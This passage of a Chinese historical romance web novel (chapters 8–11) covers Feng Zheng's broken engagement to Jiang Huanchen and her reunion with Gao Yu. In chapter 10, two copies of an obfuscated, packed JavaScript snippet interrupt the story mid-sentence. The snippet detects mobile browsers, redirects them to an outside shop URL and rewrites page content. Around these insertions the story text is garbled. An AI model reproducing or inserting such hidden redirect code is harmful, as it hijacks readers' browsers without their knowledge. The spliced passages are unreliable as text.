然而冯筝深知，书信里的话绝非真情流露，端看碰面时他们疏离的样子，就很难说得清，他们两人谁比谁更虚情假意。 太傅女痴缠于他，不管是谣言还是确有其事，如今两家亲事闹掰，他们没有再继续来往的道理。 冯筝揭开烛罩，将书信递到烛火前燃烧，烛浪席卷纸张，烧出一缕黑黢黢的线，当这缕黑线变得红亮，与她眼底的疑窦交相辉映，她终究还是收回了手。 算了，相识两年，总得给人一个解释的机会。 8. 第8章 这夜江府，江慧织敲开了嫡兄书房的门。 江涣臣告假回家多日，正握着经籍漫无目的地读。风一吹那经籍，帖经阵阵翻涌，字海过页的响动在他合上书卷时静止，听到江慧织说客堂一盏薄茶后，冯家答应好聚好散，江涣臣脸色更暗了。 “廉太傅府上府牌过硬，哥哥真的相中了廉家门楣？” 被廉家女青睐这件事，嫡兄不曾瞒着家里，今日冯家二房登门，眼瞅就要定亲，谁知这则逸闻没压住，被祖母刻意抖落出来。 江慧织既苦恼于祖母的势利，也苦恼于嫡兄未曾站出来表态。她是清楚兄长心仪冯筝的，却看不懂为什么自打登科做了官，他做事就变得顾虑重重，连婚事被搅黄了，都不敢替自己鸣一声不平。 江慧织不顾礼数夜闯书房，就是要问清兄长缘由，哪怕她知道，他告假离京就是要跟廉家女避嫌，回到宣城避一避风头，可她还是要试探他的真心。 这套说辞她早已烂熟于心，她当下所能做的，便是在冯家另觅郎婿之前说服兄长挽回，替这门亲事争取一点回旋的余地。 “原来在妹妹看来，我竟是如此趋利逢迎。奉礼郎虽然品级低微，可我从未想过要靠妻室去谋取要职。” “去年我向廉太傅投递过几篇文章，盼望得他赏识，助我向翰林院投文自进，因此往廉府走动过几回，谁知廉姑娘会错了意，硬说我觊觎她美貌，妄想攀附她家高枝。她表面嫌弃，背地里，却让太傅撮合我跟她成婚。” 江涣臣说着就动怒，“我和她清清白白，男婚女嫁各不相干，可她廉春棠只顾自己欢喜，不顾我意愿，偏要闹出谣言。我原本还侥幸，此事或许影响不到家中婚事，不曾想，竟闹到冯家双亲面前，害得我绸缪两年的姻缘就这样断送。” 江慧织就知道，她哥绝非冷酷无情之人，只是性情外冷内热。猜到他不是痛苦至极不会说出这样一番话来，江慧织这便提议，“哥哥可以想办法挽回。” “冯父冯母回去，定会将这事转告阿筝，你不亲口向她解释一番，她如何能跟你心意想通，而不是听从家里的安排另择佳婿？” 江涣臣眉头紧锁，他若真打算解释，早在香积山见面时就不会瞒着冯筝。他纠结煎熬，却持一副端然正派的口吻：“她那样较真，我跟她多说只会越描越黑。” 江慧织就沉默住了。 若不是心虚，怎么会怕越描越黑呢。但她到底没把心中的怀疑说出口去，只是静静称他“多虑”。 “如果只是这个缘故，哥哥这就多虑了，因为阿筝从来就不是较真的性子。” 她扬起眼睫，突然问了一句毫不相干的话，也正是出自这句话，江涣臣在他这总是天真烂漫的妹妹身上，短暂窥得过一丝深沉：“阿兄，你还记得南郊官廨的那场失火吗？” 南郊官廨，失火。 词组勾起回忆，江涣臣当然没忘，彼时妹妹豆蔻年岁，却仍像个无知无畏的孩童，非但没有闯祸的自觉，还曾欢欣鼓舞地蹿到他跟前，将惹出来的祸事逐刻逐帧地讲给他听。 他冷呵道，“记得。” “一场火烧穿了廨殓场殓尸的草席，狱中死囚死无蔽席。后来冯姑娘母亲得知内情，私下摁她诵经祈福，相对的，也给你吃了接连数日的闭门羹。” 案台火芯燃断，烛火发出哔剥声，江织循声望去，案前烛影影影绰绰，越过那幢幢烛影，过去的景象霍然呈现在眼前。 那时的她们，逆着官兵飒踏的靴履匆忙遁逃。隔着官兵们的声援和斥骂，同伴身影难辨远近，江慧织按住急促的心跳，先于慌乱感到来的，是随风附到耳侧的声音—— “你看我们，竟会为这种事情争得面红耳赤。” 这是个很荒唐的辩题，争论着被水浸湿了的火折子还能不能点燃。江慧织又问，“那哥哥可知道，最后我们是谁赢了吗？” 记得当时她的激动欢欣，江涣臣答：“是你。” “错了。” 江慧织笑出了声，眼神温存而怀念，“此事是我失算，原来打湿的火折子还是能重燃，虽说偶然成分居多，但结果确实被阿筝猜中，所以是我输了才对。” “那哥哥是否知道，这场火是因谁而起吗？” 江涣臣没再轻易下结论，江慧织自行揭晓了答案，“是我呀。” 说着她竟眼眶酸楚，“是我见它怎么晃都晃不燃，担心就要落败，一鼓作气竟将火折子成功吹燃。南郊廨场意外失火，她受我牵连躲避官兵，连夜奔逃茫茫数里，事后又被禁足祠堂。孟夫人猜到这事跟我有关，不待见我跟她玩耍……” “但她还是主动找到了我，提及冯宅赏我的闭门羹时，还能宽慰我说，孟夫人不是针对于我。” “哥哥。”江慧织咬字微顿，口齿如斯郑重，“纵火的是我，遇事较真的也是我，阿筝通情达理，性格宽容忍让，换在如今，道理也是一样的，你好好跟她解释，她一定能理解你的苦衷。” 江涣臣思索很久，终于不再迟疑。 “是啊。我以为我在廉姑娘那里遭遇了不公，却忽略了更重要的人的感受……她为我耽误了两年青春，我若转头另娶她人，对她来说才是不公。” “如今我已立足朝堂，不是那些仰仗家中荫蔽的少年，我的妻室，当然也得我自己决定。” “……” 江慧织离开后，江涣臣在书房静坐半晌，随后翻出书信，对着清秀楷字看了又看。 江涣臣感到讽刺，他视她为未婚妻，曾经苛重她的清誉，自诩洁身自好的他，反倒先踩进了流言漩涡，体会到了什么叫做被动无助。 江涣臣的脸火辣辣地痛，但这并不妨碍他笃定，他和冯筝两年情谊，每封回信都算数。 -- 江家耕读传家，从太老爷这辈开始走仕途，两代诗书的韬养，还不足以使江家跻身书香门第，胜在嫡孙争气，冠礼之后一举登科，让江家在宣城颇有头脸。 江老夫人对嫡孙爱重有加，经过多方打听，深知廉太傅在朝堂颇有政声，怎肯轻易放过这个机会，唤来江涣臣，劝说他抓牢廉家女芳心，莫要错过大好前程。 老夫人自恃精明，殊不知自己这招殷殷劝说，昨晚便被江慧织抢了先，给他劝成了一副痴汉模样。 这就导致她苦心梳理利害关系，到头来却被嫡孙蔑称，在推他做那臭名昭著的“裙带官”。 老夫人笑容僵住 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“你既无心前程，既然不求加官进爵，那你索性致仕请辞，滚回家来事孝双亲！” 江涣臣停住，轻笑，“我官要做，妻也要娶。” “成家以后求到婚假，自然会回来事孝双亲，但在那之前，我会请母亲做主，八抬大轿进冯家迎亲，再然后……您就等着喝您孙媳的茶。” 走出别院蕉园，他的下衣摆随步风荡开。 园中燕雀啁啾，芭蕉叶投下一片清凉的阴影，江慧织就站在这片阴影中，第一回觉得，嫡兄竟有如此冷酷且伟岸的一面。 她艰难按住狂跳的心，鼓舞振奋地想到，如今向祖母这边表态成功，阿筝那里，嫡兄应该能重新俘获芳心的吧。 九月廿三，天气转凉。 在远在睦州的高豫被观察使司的政敌绊住脚时，宣城境内，刚刚度过赏荷的季节。 绫桥附近的商铺出资，买下纸叶荷莲，吸引百姓燃放河灯。夜里，樊楼邸店张挂灯笼，明昧相接的河岸星火点点，冯筝目光向远处抬动，在江慧织“答应我，听他讲”的耳语下，不出意料地见到了江涣臣。 他显然费心打扮了番，执扇出街，腰侧挂一块澹清的玉，难得没有遮掩面容。 世家富贾出街，多见僮仆提灯，侍婢媵妾陆续相随。从前力主低调的江涣臣，此刻却偏要站在最明亮处，哪怕被别家僮仆挤得狼狈，也要攥稳扇子，规行矩步地朝她走来。 江涣臣想得很美。女子听信风月谣言，对男子，无非就是指责怨妒云云，而他明经科出身，讲道理时引经据典，再带一点温柔小意，不怕哄不好冯筝。 然而走近才发现，没有指责怨妒，没有泪盈在睫，公然会见“暧昧对象”，比起寻常少女该有的情貌，她的反应，更像某种无语凝噎。 江涣臣失策了。 尤其是看到冯筝挽袖提裙，穿过罗绮遍市，决然朝这边走来，江涣臣心脏跳空了一拍。他就扭着手腕不停摇扇子，好好一个正经子弟，偏偏扭成一个纨绔，直到跟前，冯筝挽袖拿出信笺—— “江郎君，这些都是你的书信。” “我的信也还给我罢。” 9. 第9章 冯筝讨要书信的意思很浅显，江涣臣眉头蹙拢，知道这是要跟他好聚好散，不待迟疑，立刻解释和廉春棠相识的始末由来。 末了还怕不够，细说廉春棠如何惯用伎俩，在人前跟他举止亲密而招惹到流言。 “我很无辜，冯姑娘。”江涣臣放低姿态，“谣言作怪，我有苦衷。” 冯筝不以为然，“你若真担心谣言作怪，那日香积山下，你就该跟我解释清楚，而不是等婚事谈崩了才决定挽救。” 江涣臣想告诉她，当时出于怕她误解，所以才没有及时坦白，又觉得这种解释站不住脚，短暂没有回答。 冯筝继续猜测，“江郎君态度朦胧，足以见得在京城时，你就对此事不闻不问。你没想澄清，放纵谣言愈演愈烈，我可不可以这样理解，你觉得跟我的婚事不一定成，索性在京城留一线姻缘？” 冯筝本来不想把话说这么透，毕竟她很清楚，跟前的男人注重颜面，或许这则谣言不至于令他窘迫，但她把话说破就很影响体面了。 江涣臣被她顶撞到，眸光紧紧笼罩她。 “我没想澄清？” “难道就不能是我遭遇势力阻挠，因而没办法澄清？她廉春棠故意闹出谣言，就是笃定我没办法自证，我的文章捏在她手里，她找人模仿笔迹，写了许多艳词滥调，就等着我跟她撕破脸皮，借此回敬我的澄清。” “她爹是当朝太傅，与翰林院关系错综复杂。把廉家得罪死了，对我没有半分好处，我不为自己的清誉着想，也得为未来的前程着想。” 说着，江涣臣不禁失笑：“难道一朝断送了前程，贬到外面做个芝麻小官，冯姑娘就愿意嫁给我了？” 冯筝缩眸，对这不符合他秉性的口风微感惊讶。她唇缝微张，两颗皓齿雪白，短暂夺走了他的注意力，江涣臣脑中微热，对她这副伶牙俐齿，逐字逐句地领教回味。 冯筝跟他掰扯不清，知道今晚是取不回书信了，背后江慧织迟迟没走，眼里写满疑惑忧愁，冯筝察觉到这些，最终放弃争执。 “算了。我们换个地方说话，别让慧织担心。” “好。” 月伏云阵。 绫桥商铺前，除了吃食和首饰等等，沿街多的是卖纸鸢的摊商。 成群高放的纸鸢吸引不少人驻足观赏，冯筝同样被纸鸢吸引，慢悠悠地停下了脚步。 纸鸢形形色色，在有限的方圆内恣意张扬，此情此景，令她忽然想起城西酒楼，高豫喊住她的那声“风筝”。 声音清清淡淡，语调则是凝重深沉。 很难讲的请，他用“风筝”回应她话里的“刍荛”，跟她相认后，会不会动用那些谢礼。很难道的明，他们抛出两个假名讳，却以真实身份四目相对的时候，双方究竟是什么心情。 高豫身上藏很多事，眼底又埋很多秘密，想必没工夫跟她就一点往事促膝长谈。对他那句或承诺或约定的话，冯筝没怎么放在心上，只是算算时间，他应该抵达睦州了吧，也不知道事情顺不顺利。 一股莫大的悲哀中，冯筝抽出神来，对着满眼群鸢，对着不远处最靓丽的那只，把难过的情绪抛出脑后。 她松快地想道：罢了，她毕竟，是没有烦恼的冯筝啊。 然而那只纸鸢命比纸薄，忽然被一道响箭捅了个对穿。 纸鸢直楞楞地栽下去，冯筝始料未及地看向始作俑者——身旁，江涣臣将随手顺来的短弓归还摊主，小厮跑了个来回，破了洞的纸鸢，江涣臣邀功一般伸手递来。 冯筝被气笑了，接过这个被她相中的物件，无暇感叹它的命运，调侃道，“读圣贤书的人竟然也会做这样煞风景的事吗？” 江涣臣在她面前显摆了一把箭术，向摊商照价买下纸鸢后，志得意满能拿下芳心。 “读书人无所不为。不过没关系，一点破损无伤大雅。” 江涣臣执着要陪她放纸鸢，冯筝忍无可忍，直接挑明她的婚事由家里作主，与其在这里跟她耗时间，不如说动江府提亲，登门冯家说明清白，如此一来，或许还有挽救的可能。 得到冯筝准话，江涣臣便听懂她这关是过了，满意地离开去做准备。 看着江涣臣远去的背影，冯筝替他遗憾：这闭门羹江家大概是吃定了。 耳畔突然清静下去，冯筝捏着纸鸢出神，窟窿被她越盯越大。 木制的骨架摇摇晃晃，粗制滥造的做工勉强维持着野燕原貌，漆黑的窟窿中伤它羽翅，风一吹，骨架摩擦声嘶哑刺耳。 冯筝盯住这块窟窿没动，晚风吹落一缕颓唐的发丝，没注意到，跟前出现了一双靴履。 “破成这样，就别想着用针缝了。” 高豫灰底襕衫，身披一件黑色围氅，观察一遍破损情况，给她提供解决办法。 “换只新的不是更省事吗？” 他稳稳停在她的对面，取下围氅丢给扈随，冯筝通过这个动作才注意到他身边竟还有人在。扈随模样忠心耿耿，牵一匹驿马安静陪同，冯筝顿时意识到高豫被革除官籍迫夺玺书，归来并非一无所有。 说不定还有底牌在手。 她旋踵挡在高豫面前，拦住他朝摊商走去的阵仗，“不劳三郎君破费，这纸鸢做工粗糙，我也不是很想拥有。” 间隔宽余，高豫垂眸，对她的想法颇感认同，联想到旧事，跟她解释：“说起来，当年我不让你缝补衣裳，其中是有特殊考量。一则你病体初愈，按照医嘱不适合费神，二则如果都被你缝制一新，我便不好借口去成衣铺里，请绣娘替你量体裁衣。” 这事是有渊源在的。 曾经的她，把自己锁在屋里不情愿出门，麻裙贴身不舒服，她缄口不提，只是满意地称赞有多合身。 “但我还是见到了绣娘。”冯筝望进他双眼，见他欲笑，转作去看河畔渔火。 她想，她还是如愿见到了绣娘。 布裙肤感柔软，穿上如坠云端，她就是穿着那身棉布裙子，见证了襄阳官府赏善惩奸，最后站在一江春水前，感激涕零地，把柿蒂纹的绣囊塞进袖笼。 “绣娘给我裁制衣裙，独你还是粗襦葛衣，堂堂观察处置使，竟揣着腰牌瞒得我死紧。其实我知道，你不缺银钱给破衣裳翻新，以至于我对你误解很深——以为你最爱的，就是那半新不旧的破烂摸样。” …… 远处，车夫看着大小姐接连会面两个郎君，不禁额头冒汗。 前者面生，后者他却认得，之前府里娶亲，他曾有幸蹭了桌膳席，见过高家来人，便知道此刻岸边，惹姑娘落泪的是大爷的妻舅高三郎君。 天可怜见，会见前头那位郎君时，姑娘频频皱眉，换成眼下这位，姑娘竟又泪眼婆娑，车夫颤巍巍地想，回去可得告诉孟夫人，姑娘这趟出门是出错了。 车夫记起孟夫人叮嘱，犹豫着几时催促姑娘回府，这时，扈随要跟他打个商量。 “我持缰绳，他执马鞭，您在后面远远跟着，怎么样？” 车夫微微错愕，眼看姑娘无声颔首，攥着扈随给的银两，这就利落让出了车驾。 “三年前我就职睦州观察使，出差调查某桩错案，返程途中遭到追杀，藏身在了襄阳城中隐姓埋名。也就是那段时间，我遇上了乔装成商贩的贼匪。当时不敢武断是贼，直到听到呼救声并赎下一位姑娘，我才猜到这群人底细。” “我一边等待策援，一边提防暗线刺杀，那个时候，明暗两条线敌我错乱，鉴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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高豫：“前些天我滞留睦州，思来想去，想和姑娘商量件事。” 高豫素裳连绵，宽阔肩线下暗藏峦山，比起三年前，他身形肉眼可见变得清减，却无半点憔悴的迹象。但她此刻没空欣赏这些，因为他侧来身躯，遮在袍裾下的腿起膝曲起，俨然一副打算详谈的模样。 马车明显减速，感官在车厢里极度敏锐，当她意识到高豫不是临时起意，而是早有筹备之时，转眼就听到了一句无情的话。 “你的酬谢我已经收到，既然两清，过去的事，便不要透露给第三人知情，往后你我相处，轻易不要互相照拂，姑娘意下如何？” 冯筝不语，只是一味咬着腮帮，沉默懊恼。 高豫握紧缰绳，多年的谨慎明敏使他每每察觉到不妥，总是能圆滑周到地转开话题，但或许是这个问题绕不开，总要商量出一句准话，他挪开视线却没放过她。 “冯姑娘？” 马车轻微颠簸，渐渐恢复行速，高豫拉动缰绳，颈后微微凸起的脊骨清瘦细腻，他表面平和，实则一阵头脑风暴，猜测她回答艰难的原因。 “现在恩情还清了，我是罪眷，跟我撇清关系合情合理，你不用对此感到歉疚。又如果说，你是觉得这事应该你来提，被我抢先让你很被动，很抱歉，那我就收回前话，等你主动……” 这话戛然而止，松软裙身擦过他胸襟，高豫瞳孔骤缩，想要制止已经迟了——冯筝跨过他的膝弯，绷紧唇线跳下了马车。 率意径行，然骄纵自由。 断开那潮水般涌来的点滴回忆，跟前，被缰绳勒得疾停的马骇然嘶鸣。 10. 第10章 恩待和照拂，本该被落魄者视为雪中送炭，高豫偏偏避如蛇蝎。 冯筝用平生最冷酷的表情把高豫远远甩在后面，经过的车驾扬起一骑薄尘，她一回头，他正踩着薄尘追来。 照常理说，若她回府坦白恩人的身份，高豫是要被敬为座上宾的。 他不求冯家对他感恩戴德她能理解，这份情谊随随便便就能两清她也不介意，但一点照拂都不愿接纳，就未免显得过于绝情。 冯筝毅然决然地走，背后，滚滚车辙陆续碾过，像极了景仁年间那场案变。官司碾过太多人尸身，京署门前聚讼纷纭，部堂用治断严明的手腕使罪臣伏法，众怒平息以后，他出没风波里的生活却没有得到改观。 商铺红灯掩映，照过高豫素衣，仿佛绣上一层缂金线地，擦身离开之际，那潢贵如斯的虚影很快便又泯然众人。 高豫踏着靴履，试图唤停她。 “冯姑娘。” “冯姑娘。” “风——” “你就是叫我风筝也不管用。” 身后倏地就没有了声息。 很沉默的一段路途，疲惫感慢慢席卷全身，她就近歇在茶铺里，疲软的双腿放平，高豫蹲跪下来，迎面俯眼。 “城门在卖胶牙饧，童妇都说甜，张糖记讲这是最后一批，再想吃也得等到岁旦。” 包裹散发着麦芽糖香，带着属于他胸膛的温度，中和了属于秋霜来临前的那一缕寒。 高豫度牒解禁，罢官睦州后，从碧城取道入宣城关，原本打算分别前再赠她的糖饧，此刻却提前拿出来讨她的饶。 冯筝并不了解这些，只是想到张糖记看上去年事已高，天寒了未必出得动摊。 她半敞的掌心一点点收拢，握着蜡纸也没拆开。距酒楼分别已过去数日，他守诺重信而来诚意可鉴，明知得饶人处且饶人，她却很想再跟他较一次劲。 “可是高豫，如今我已经不爱吃甜了。” 高豫会意，“你想吃苦的，来日我去跟张糖记讨。” 他从容不迫地盯着她眼睛，煞有其事的样子很难说得清是不是在故意添堵，冯筝转眼一笑，反倒被磨得没了脾气。 “你这般和气，倒显得是我蛮横任性。” 她重新捡起刚刚的话题，“不瞒你说，没答应跟你划清界限，既非是我愧疚不忍，也不是我想主动来提，好替自己扳回颜面。在我看来，你是否罪眷，和冯家要不要对你感恩戴德是两码事，说什么‘轻易不要互相照拂’……” 冯筝睇来一眼，“你对我的关照避如蛇蝎，是不是前段时间，就连我送你那碗蜂糖水解酒，你都将它视作麻烦？” 高豫蹲跪着详听，姿态很自然矮下三分，显然做好了接纳一切怨怼的打算，然而面对这副问责，高豫眼湖春潮翻涌，暗想，怎么会有人嘴里说着责怪的话，黛眉又掺着疑惑伤怀。 复杂的情绪在她眼里淋漓展现，高豫沉静否认，“不是麻烦。” “那碗蜂糖水口感甘甜，我很受用，也很感激。易地而处，两清的话听起来确实刻薄，或许在表达方面稍欠妥当。” “但如果我说，以防未来的筹谋牵连无辜，这是我百般衡量的结果，知道这些，你还会愿意亲近我吗？” 高豫并不期待这份答案，只是一味地晓以利害。 “冯姑娘，没人愿意对一名罪眷感恩戴德。” “我不希望过去的事情透露出去，一是不愿给冯家增添道德负担，二是怕招致祸端后连累无辜。我是罪臣后裔，旁人都想着趋利避害，冯家用不着非得例外。你跟我沾边，冯家再跟我沾边……届时局面糟糕，你会不知道如何自处。” 恩情偿清，旧事翻篇，这就是他给冯筝找好的台阶，只要拾级而下，便什么坏事都不会有。 冯筝面露理解，一副通情达理的模样，明明猜得到他所谓的筹谋事关翻案，却还是眨眨眼，虚心请教。 “胡督学是高官，他有关照你的底气在，不怕招来祸端，相比之下冯家势微，因为姻亲的关系跟高家沾边，处境已经很不好看，所以以后，也别报什么恩了，最好对你敬而远之，你的意思我能理解——但是三郎君。” “你到底是要敛不义之财，还是准备做什么伤天害理的丑事，提及未来筹谋，竟这么戒备牵连无辜？” 很锋利的一句猜疑。 偏偏口齿平缓，攻击性由此锐减大半，高豫审视端详的眼神中，冯筝满含期待地，问出了西街酒楼里，与工部员外郎极其相似的一句话来。 “令尊是枉死的对吧？” 你要如何替他雪恨雪耻呢？ 后面这句话没说出口，冯筝拿捏着分寸，无意窥探对方私事，只是想踏踏实实地等一句肯定，好慰藉她辗转难眠数日，预见他冤苦前路的那一点愤懑。 然后再讲一句公道话，鼓舞他好好振作替父亲翻案，勉励他握紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16935087|192874||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刀笔打一场官司。 可她最后只是震在了原地，看着他背接盛大的夜景，唇齿送出几个字眼。 街面晚风熏熏，嬉戏的孩童络绎穿过，巡街的钲鼓声响彻云霄，冯筝反复回忆他唇齿的起落，在偌大的悲哀裹挟阵痛到来前，决然扭头掐断了情绪。 字眼掠过脑海，他说—— 吾父有罪，罪实难逭。 钲鼓声渐涨，高豫继而抬高了声音，回应她那句锋利的猜疑：“至于未来筹谋，和敛财恶行毫不相关。高某进学十余年，自信能明辨是非，分晓对错，绝不会做悖逆礼义廉耻的事情，如果有一天，真的如你所言行差踏错。” “来日公堂之上，请你务必，揭穿我这副伪善的面孔。” 扈随已将马匹安顿在附近，缓慢走出明暗相接处。 展青稍稍跟近，又在远远望见这边的景象时收住脚步。 时臣对文官武用微词不少，别说高豫如今跌落云端，自他履职观察司起，展青便知道，出于高相辅弼吏治的缘故，朝廷将他明经科的进士籍摘榜，以回避朝端为由，外放睦州施展拳脚这事，横竖都不是一件美差。 睦州司衙里，宿敌交锋少有仁慈，眼看他无望起复，压他积攒多年的俸禄之余，还试图拿他过往的差事挑拣瑕疵，只是始终未能得逞。 这点麻烦，到底不能磕绊他什么，耽搁来耽搁去，能拖延的不过一张度牒而已。 即将颠沛的生活不会改变，剥除官衣的事实亦无可转圜，起先展青以为，他大费周章解决麻烦，中规中矩交还绶印，为的只会是一点公心，却想不到，每一件善始善终的事情背后，其实竟也掺杂私情。 度牒很快到手，此后，他于各路州府来去自如。展青不理解，宣睦两州远隔千里，他应胡大人的邀请借宿碧城胡宅，经过碧城而不入，又是何苦回这贬他名籍的伤心旧地。 来时路上劲风猎猎，当时只顾策马扬鞭，展青把很多疑问抛掷脑后，他事后便慢慢懂得，这一路追随高豫走来，他曾三缄其口的那一点缺憾，背后的出处究竟在哪里。 茶铺两人高矮错落，对面姑娘罗缎纱绢，高豫绉衣朴素，委着膝弯正同她交谈。 姑娘情绪外显，哪怕市井嘈杂听不真切，沟通的情况单看表情就能猜出个大概来，看到对面姑娘半领情半猜疑，最后又有些强颜欢笑的神情，展青暗暗感到可惜。 高豫这点缺憾，圆满得有些太过于晚。 11. 第11章 在冯筝面前解释过一通后，江涣臣在冯家宅邸外犹豫很久。 他虽然在冯筝面前释情说理，对于挽回婚事的可能性，心里却多少有些谱数。 说动家里提亲还需要时间，江涣臣权衡缓急，选择登门冯家说明清白，只是等真真正正出现在这里，一颗坚定的心已经有了动摇的征兆。 冯父常年待在塾馆，持教鞭做师长训诫，性格执拗冷漠，江家犯了他的怒，这时候赔罪指定要吃闭门羹。 理智慢慢回笼，只着一件斜襟衫打底的他，更觉得禁不住寒宵风露。 踌躇得久了，回到府里已是宵禁时分，府门前仆妇早就在等，嚷嚷着夫人病倒的事，问他怎么回得这样晚。 江涣臣眼瞳收紧，随口解释一遍，直奔寝堂去见母亲。 “涣臣好事将近，你这个做妹妹的却愁着一张脸，倒叫我看不懂了。” 屋里清静如旧，罕见没人伺候汤药，江慧织面朝坐榻，正欲回答母亲，双双察觉动静，随着江涣臣的到来陆续移来目光。 江夫人摘下额头的锦帕起身，随手塞进女儿怀里，江慧织暗暗缩手，江涣臣眼底的焦虑恢复了平静。 “母亲有事见我，遣人知会一声我就会来，何必借口称病自折福寿。” “你不会。” 江夫人笃定道，神情稳定泰然，和江涣臣欲言又止的模样形成反差，“你只会怪我请冯家过府时没好好圆场，让你祖母用几句流言蜚语，轻松就把婚事搅浑。” 话题展开到这里，自证“会或不会”没有意义。 江涣臣沉默住，耐心等待母亲后话，本以为母亲把事情定性为流言蜚语，至少说明，她对太傅女的痴缠保持怀疑态度。 等到她真真实实把想法相告，他才看懂，母亲虽不信廉春棠对他多么痴心，却试图借题发挥，和廉氏搏一搏儿女亲疏。 料想进门时听到的“好事将近”，到底是和廉家相关，江涣臣耐心听完，语气毫无波澜。 “母亲说得没错，冯筝是个好姑娘，廉姑娘亦可为良配，可是论起亲疏远近，怎么都是冯姑娘更胜一筹。” 他和冯筝书信密切，从敷衍她到正视她，这些年来渐渐意笃。他累时常睡在官署之中，那些书信，便成了醒时拿来解闷的读物，抚慰过碌碌生活中，无数个秉烛公干的枯燥夜晚。 士子狂妄，自以为配得金枝玉叶，那是属于少年人的骄横，而不是如今他一介劳苦无功，尚要靠投牒谋进的奉礼郎的。 所以每每面对廉春棠示好，他总是能够在摇摆不定中静下心来，踏踏实实写着一篇又一篇文章，试图博得太傅举荐，而不是仰仗高门贵女的一时兴致，将毕生官途系于一条裙带，春宵暖帐里，体验一遍又一遍宦海沉浮。 让他攀附廉家的指望，早在祖母跟前听过许多来回，他从前没放在心上，没道理因为母亲的重复而心生动容。 江夫人还要劝说，江涣臣觉得磨耳朵，指望江慧织给他帮帮腔。 江慧织坐在坐榻边，始终一言不发，被江涣臣点到，勉强收起了愁容。 稍顿，江慧织婉转地讲，“廉太傅是国君辅臣，冯家寒门薄宦，相形见绌的事情不好再说……旁人总说官员调动何其艰难，哥哥就职太府寺已久，正是需要提携的时候。” “哥哥跟廉家结亲，有这样显贵的岳族在，地位只会跟着水涨船高，这事对你百利而无一害，你何必愁着一张脸，让外面觉得你不识好歹？” 前些时候还帮他挽回婚事的妹妹，当面跟他变卦，江涣臣措手不及，深深望过她一眼，放弃争执后，反倒露出笑容。 “我和冯姑娘相识已久，早把冯家当作妻族看待，这时叫我毁婚另娶，我便和那些抛糟糠、弃发妻的恶徒没什么两样。不用再说了，你们用廉家的显贵踩低冯家门楣，除了让我更加怜惜冯姑娘以外，不会再有别的用处。” 满座寂静中，江涣臣轻呼一口浊气来，越发觉得屋里闷得慌。他大步跨出屋子，寒目一扫，围在门外的仆从们如潮水般退散，惊起屋檐上不少栖息的鸟。 局面乱糟糟的，今天的一切都乱糟糟的，江慧织攥紧发汗的手，尽量不让自己为刚刚的反水而感到自责。 这辈子她对自己指望不多，想要替嫡兄挽回冯家婚事，也不过是因为她和冯筝性情投缘，想和她做一对亲昵姑嫂。 所以在江涣臣回来前夕，哪怕提前被叮嘱过，提醒嫡兄莫要再和冯家顽缠，她还是一次又一次辗转在两人之间说和，在祖母跟前屡屡失了信。 然而这些都只是前话了。 江慧织一段沉默，持续到江涣臣被老夫人截在半道才有所打破。她焦急跑出去，正撞见祖母站在瑟瑟秋风中，恨铁不成钢地盯着她深深作揖的嫡孙，以及江涣臣狠心离开的背影。 江慧织追出去，骤然拔高声音。 “哥哥！” 江涣臣不欲理睬她，头也不回朝院外走去，江慧织就提起父亲，看到他好不容易有了回应，落落拓拓停在那里，对望间，顿时有些郁闷难平。 她清楚地想起多年前，父亲还守在巴陵郡做循吏的时候，从来自视甚高的父亲，动用那一点点微薄的关系，堆着逢迎的笑辗转京畿，给得罪了权贵的嫡兄疏通门路时，那副跪下去的膝盖，在寒冬腊月里如何令他苦痛连连。 他维持了半辈子的体面和尊严，在权力的碾压下轻易就变得不堪一击，那时父亲是怎么做的？ “他从一介郡吏苦熬成郡守，替你摆平很多麻烦，又替你争取到寺卿的关照，此后，他一心盼着荣退故里，再不能替你筹谋更多。” “哥哥愿做铮铮劲草，不愿做攀附权贵的可耻之徒，却何尝有替父亲着想？父亲为你付出这样多，你又何时想过，他兢兢业业半生，落得一身沉疴顽疾，致仕的折子递了一年又一年，为何每次都是无疾而终？” “还不是他地位低微，奏到御前，总是被忽略的那一个。” 江慧织眼含热泪，声音因一步步靠近而哽咽。 “我知道你青睐阿筝，可是个人好恶总得为孝道让步，父亲那里，急需一位说话有分量的大人替他陈情……难道你忍心看着父亲忙碌数载，为一方百姓呕心沥血，最后却孤零零一人，在偏远的巴陵晚景凄凉？” 江涣臣身躯微动，看到母亲和祖母站在夜色里，灯火映亮她们忧愁的脸，心中涌起一种莫大的哀愁。 他十五岁离家求学，家里围着他的学业打转，围着他的仕途忙碌，毫无保留地托举他成才，等到他扎根京关考取到功名，江家门庭地位渐涨。 这期间，门第风光，有一半是父亲给的。 江慧织言辞凿凿，努力劝嫡兄回心转意，短暂就没提，今夜将冯筝约出来赏灯后，在绸布庄里遇见魏窈娘的事情。 魏窈娘年初远嫁京城，最近抽空回来探亲，昔日手帕交碰面，却在绸布庄里好一顿显摆。 红丹蔻，锦斓裙，光鲜亮丽的一身荣华，灼得她微微红了眼睛。 魏窈娘给官宦续弦都能过得这样自在，可见京族如何富庶。她起初就有些心猿意马，更是在魏窈娘取笑般说道，江奉礼同僚颇多，怎么没给她张罗郎婿之类的话时，心里彻底动摇起来。 江慧织趁热打铁。 “照理说，京城官宦子弟众多，俊俏郎君也不少，诸如礼部郎廉复，户部郎薛格……还有慎刑司的洪司丞，个个仪表不俗，结果偏偏哥哥招惹桃花，只因这些人不是性情高傲，就是刑官出身，颇具凶名。” 